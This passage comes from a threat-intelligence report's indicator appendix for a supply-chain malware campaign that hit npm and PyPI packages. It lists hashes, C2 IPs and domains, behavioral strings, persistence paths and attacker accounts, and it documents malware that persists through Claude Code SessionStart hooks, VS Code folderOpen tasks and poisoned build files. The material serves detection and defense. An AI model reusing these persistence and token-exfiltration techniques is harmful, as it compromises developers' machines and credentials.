opensearch_init.js | - | 820fa07a7328b6cf2b417078e103721d4d8f2e79 | OpenSearch variant |
| Rust binary Sample A (dev/unstripped) | 461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab | - | enge31/crypto-js; spreader only |
| Rust binary Sample B (prod/stripped) | 511b039448227e48c14e715c3ff8ceaac82f7e4781df60e1c5f1eb79bba86e98 | 189e637e47de7c9be540a416de16f938b6b50525 | Full RAT; 6,619,600 bytes; 1/75 VT |
| Rust binary Sample B - MD5 | fe930f65d32e40f0ed31854885e7796d | - | BuildID a2c210499d9409b00fd3a144ee3dea87cc43e63d; any.run report |
| Rust binary Sample B - TLSH | T1BD66AE57F6B244E8D8BACC74831EE173EA28B889821271672FD45B012F26F64EF1D751 | - | Fuzzy hash |
| Rust binary Sample B - ssdeep | 98304:M3pMuCILvWOJ2bqcPprmG0/9QwbinUh/pvR14qViZgY1rr1hyFITS2EeJUy31PdR:WU | - | Fuzzy hash - from any.run automated analysis; supersedes prior manual value |
12.3 IP Addresses
| IP | Role | Wave | Status |
|---|---|---|---|
94.154.172.43 | Wave 1 C2 server (AS209101, IP Vendetta Inc., Amsterdam) | W1 | Live as of Apr 30 - block at egress |
91.195.240.123 | checkmarx.cx registrar DNS (SEDO parking, Germany) | W1 | Passive |
83.142.209.11 | KICS / LiteLLM C2 | Pre-W1 | Prior wave |
83.142.209.203 | Telnyx PyPI C2 | Pre-W1 | Prior wave |
45.148.10.212 | Trivy C2 | Pre-W1 | Prior wave |
46.151.182.203 | Related TeamPCP infrastructure | Pre-W1 | Prior wave |
83.142.209.194 | Wave 2 Python variant C2 / GitHub fallback | W2 | |
45.80.158.93 | Rust binary Tor clearnet fallback (ports 143, 1438) | W2 | |
86.14.169.71 | Rust binary Tor clearnet fallback (port 443) | W2 | |
195.176.3.23 | Rust binary additional clearnet fallback | W2 | Static RE 2026-05-13 |
23.108.55.71 | Rust binary additional clearnet fallback | W2 | Static RE 2026-05-13 |
91.92.109.23 | Rust binary additional clearnet fallback | W2 | Static RE 2026-05-13 |
5.39.81.102 | Dynamic analysis contact (OVH/Kimsufi, Lille FR - ks3268576.kimsufi.com) | W2 | HA dynamic 2026-05-14 |
45.76.61.27 | Dynamic analysis contact (Vultr, Atlanta US) | W2 | HA dynamic 2026-05-14 |
45.84.107.84 | Dynamic analysis contact (QuxLabs AB, Stockholm SE) | W2 | HA dynamic 2026-05-14 |
80.94.92.99 | Dynamic analysis contact (UNMANAGED LTD, AS47890, Timișoara RO - bulletproof hosting) | W2 | HA dynamic 2026-05-14 |
12.4 Domains
| Domain | Role | Wave | Status |
|---|---|---|---|
checkmarx[.]cx | C2 apex typosquat | W1 | NXDOMAIN as of May 1 |
audit.checkmarx[.]cx | Primary exfil endpoint | W1 | NXDOMAIN as of May 1 |
checkmarx[.]zone | KICS wave C2 | Pre-W1 | Prior wave |
scan.aquasecurtiy[.]org | Trivy typosquat | Pre-W1 | Prior wave |
models.litellm[.]cloud | LiteLLM C2 | Pre-W1 | Prior wave |
whereisitat[.]lucyatemysuperbox[.]space | xinference C2 | Pre-W1 | Prior wave |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | ICP blockchain C2 | Pre-W1 | Cannot be sinkholed |
git-tanstack[.]com | Wave 2 primary C2 typosquat | W2 | |
api.masscan[.]cloud | Wave 2 additional C2 | W2 | |
seed1.getsession[.]org | Session decentralized C2 | W2 | |
seed2.getsession[.]org | Session decentralized C2 | W2 | |
seed3.getsession[.]org | Session decentralized C2 | W2 | |
filev2.getsession[.]org | Session file server (exfil) | W2 | Cannot be sinkholed |
1cpur2zdsv762uzyoyzma6pvzz4a2xhv64zdouxpjlu3exyks7gh7leyd.onion | Tor v3 hidden service C2 | W2 | Rust binary only |
ringxn--dateInitFastTime[.]com | Suspicious domain in Sample B binary strings - currently NXDOMAIN; possible dead C2 or DGA output; xn-- IDNA prefix on all-ASCII label is anomalous | W2 | Investigation pending |
Session Recipient ID: 05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026
12.5 Behavioral Indicators
| Indicator | Context | Wave |
|---|---|---|
A Mini Shai-Hulud has Appeared | Repo description - dead-drop canary | W1 |
Checkmarx Configuration Storage | Repo description - alternate canary | W1 |
OhNoWhatsGoingOnWithGitHub | Git commit message prefix - token exfil | W1 |
beautifulcastle | Internal hardcoded string | W1 |
LongLiveTheResistanceAgainstMachines | Internal hardcoded string | W1 |
__DAEMONIZED | Environment flag - daemon self-check | W1 |
Exiting as russian language detected! | CIS kill switch log string | W1 |
Shai-Hulud: Here We Go Again | Repo description - Wave 2 primary canary | W2 |
PUSH UR T3MPRR | Repo description - Python variant dead drops | W2 |
Mini Shai-Hulud has appeared. | Repo description - alternate Wave 2 canary | W2 |
IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner | Git commit message - wiper threat + embedded token | W2 |
FIRESCALE | Commit keyword - internal campaign codename | W2 |
thebeautifulmarchoftime (trailing space) | GitHub commit search - C2 domain rotation beacon | W2 |
thebeautifulsnadsoftime | GitHub commit search - token recovery | W2 |
gh-token-monitor | Persistence daemon name (macOS + Linux) | W2 |
hbresp miner_config | Rust binary heartbeat ACK - XMRig config delivery | W2 |
[+] Agent starting... | Rust binary lifecycle string | W2 |
=== HEARTBEAT # | Rust binary heartbeat counter prefix | W2 |
[+] Connection established, starting heartbeat | Rust binary Tor C2 handshake | W2 |
[-] Miner process died, restarting | Rust binary XMRig watchdog | W2 |
AFWDdf42+qkXjYsC1yI5GiuRmPxSBJEh9Lzr3nvwol86Mpt0KZgUcbH7eNQ/TaVO | Custom base64 alphabet - unique YARA target | W2 |
OpenChanMsgR2R / OpenChanMsgC2R / OpenChanMsgR2C | P2P agent mesh protocol strings | W2 |
abad lpe enc | LPE module internal label - zero legitimate uses | W2 |
python3-csuwhoami | LPE execution chain string (python3 → su → whoami) | W2 |
authencesn(hmac(sha256),cbc(aes)) | LPE AF_ALG kernel cipher | W2 |
bypass_2fascriptspreinstall./.claude/settings | Explicit npm bypass_2fa capability | W2 |
codeql_analysis.yml (unexpected creation) | Injected workflow as github-advanced-security[bot] | W2 |
claude@users.noreply.github.com | Spoofed build poisoning commit author | W2 |
kworker/0:1-events | Exact process masquerade name set via prctl(PR_SET_NAME) - offset 268,529 in Sample B | W2 |
[+] Timestomp successful | Post-deploy timestamp manipulation confirmation | W2 |
Panic handler installed | Rust binary startup sequence - operator telemetry | W2 |
Collecting hardware ID | DMI/BIOS hardware fingerprint phase | W2 |
Checking for cloud provider | AWS/Azure/GCP IMDS sequential probe | W2 |
[-] No cloud provider detected | IMDS probe negative result | W2 |
inside ci env | CI environment branch label - adjusts behavior | W2 |
BIOS3 | DMI hardware ID field label - victim fingerprinting | W2 |
HiddenServiceProofOfWorkV1MaxEffort | Tor PoW hardening directive | W2 |
PowParamsV1 | Tor PoW parameter type | W2 |
vanguards-hs-service | Tor Vanguards guard protection directive | W2 |
hooksSessionStartmatcher./settings | Sample B Claude Code SessionStart hook - zero legitimate uses | W2 |
ringxn--dateInitFastTime | Anomalous domain fragment in binary strings - xn-- prefix on all-ASCII label | W2 |
ConsensusInvalid | Tor arti client consensus status string | W2 |
/usr/bin/udevadm (exec) | Sample B calls udevadm to read DMI/BIOS data as first act in new process - confirmed by any.run behavioral stream; immediately followed by self-termination in sandbox | W2 |
12.6 Persistence Paths
| Platform | Path | Notes | Wave |
|---|---|---|---|
| Any | .claude/settings.json | Claude Code SessionStart persistence hook | W1 |
| Any | .vscode/tasks.json | VS Code folderOpen persistence hook | W1 |
| Any | .claude/execution.js | Wave 1 JS harvester | W1 |
| Any | .github/workflows/format-check.yml | Wave 1 CI injection | W1 |
| macOS | ~/Library/LaunchAgents/com.user.gh-token-monitor.plist | Wiper daemon | W2 |
| Linux | ~/.config/systemd/user/gh-token-monitor.service | Wiper daemon | W2 |
| Any | .claude/settings | Rust binary self-install path | W2 |
| Any | .claude/binary | Rust binary alternate path | W2 |
| Any | .claude/router_runtime.js, .vscode/router_runtime.js | TypeScript runtime | W2 |
| Any | .claude/setup.mjs, .vscode/setup.mjs | Loader persistence | W2 |
| Any | .github/workflows/codeql_analysis.yml | Secrets-dumping workflow | W2 |
| Repo | build.rs | Poisoned Rust build file | W2 |
| Repo | setup.py, pyproject.toml | Poisoned Python build files | W2 |
| Repo | CMakeLists.txt, conanfile.py, portfile.cmake | Poisoned C/C++ build files | W2 |
12.7 Crypto Constants (Attribution / YARA)
| Constant | Value | Wave |
|---|---|---|
| PBKDF2 salt | ctf-scramble-v2 | W1 |
| PBKDF2 master key | 5012caa5847ae9261dfa16f91417042f367d6bed149c3b8af7a50b203a093007 | W1 |
| Derived obfuscation key | fd4b0f07b27e8f41bc70b8e2b79d168fb3fe80d7e0b37f43c506136a3418b44d | W1 |
| PBKDF2 salt | svksjrhjkcejg | W2 |
| PBKDF2 master key | 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2176c40aa | W2 |
| RSA-4096 public key header (stable across all waves) | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA55aMQwvJuy++UvFmWrPW | All |
| Rust binary custom base64 alphabet | AFWDdf42+qkXjYsC1yI5GiuRmPxSBJEh9Lzr3nvwol86Mpt0KZgUcbH7eNQ/TaVO | W2 |
| Rust binary crate symbol (Rust name-mangled) | CscsgVyfp85S5_2ss | W2 |
| Rust binary compiler | rustc 1.97.0-nightly (f964de49b 2026-05-07), GCC 16.1.1 20260430, LLD 22.1.4 | W2 |
12.8 Attacker GitHub Accounts
| Account | Role | Wave |
|---|---|---|
gruposbftechrecruiter | Attacker staging; opened SAP malicious PR; UTC-3 commit timezone | W1 |
voicproducoes | Attacker staging; TanStack fork + cache poisoning; also has W1 dead-drop (cross-wave) | W2 |
g00dfe11ow | Published open-source malware MIT; git email TeamPCP | W2 |
PedroTortoriello | Fork of g00dfe11ow; commit da10861 identical | W2 |
enge31 | Rust binary delivery via crypto-javascri + cryptox; git email enge31980@outlook.com | W2 |
Gimpy9587 | Wave 2 primary exfil (306 repos); GitHub ID 156470107; automated malware (you@example.com) | W2 |
SnailRocketDev | Wave 2 exfil (98 repos); GitHub ID 241847560 | W2 |
12.9 Compromised Exfil Accounts (Victim Developer Accounts)
The following accounts had GitHub OAuth tokens stolen and used as exfil infrastructure. They are victims. Identities withheld per GDPR.
Wave 1: 10 compromised developer accounts - identities withheld per GDPR. Combined they hosted 741+ dead-drop repositories across timezone patterns spanning Eastern Europe, India, and Australia/Pacific.
Wave 2: 1 compromised developer account used as secondary exfil infrastructure - identity withheld per GDPR.
12.10 Compromised npm / PyPI Packages
Wave 1 (SAP ecosystem): mbt@1.2.48, @cap-js/sqlite@2.2.2, @cap-js/postgres@2.2.2, @cap-js/db-service@2.10.1, @bitwarden/cli@2026.4.0
Wave 2 (170+ packages): @tanstack/* (42 packages, 84 versions), @uipath/* (60–70 packages), @squawk/* (20+), @mistralai/mistralai, guardrails-ai, mistralai==2.4.6 (PyPI), guardrails-ai==0.10.1 (PyPI), crypto-javascri@1.3.6 (npm typosquat), cryptox (PyPI typosquat), and dozens more
Prior waves: @kics-cli variant, LiteLLM packages, Telnyx packages, Trivy variant
12.11 Repo Naming Regex
(sardaukar|mentat|fremen|atreides|harkonnen|gesserit|prescient|
fedaykin|tleilaxu|siridar|kanly|sayyadina|ghola|powindah|prana|
kralizec)-(sandworm|ornithopter|heighliner|stillsuit|lasgun|sietch|
melange|thumper|navigator|futar|slig|phibian|laza|cogitor|ghola)-\d{1,3}
*Crimson7 threat hunt team publishes original threat intelligence under TLP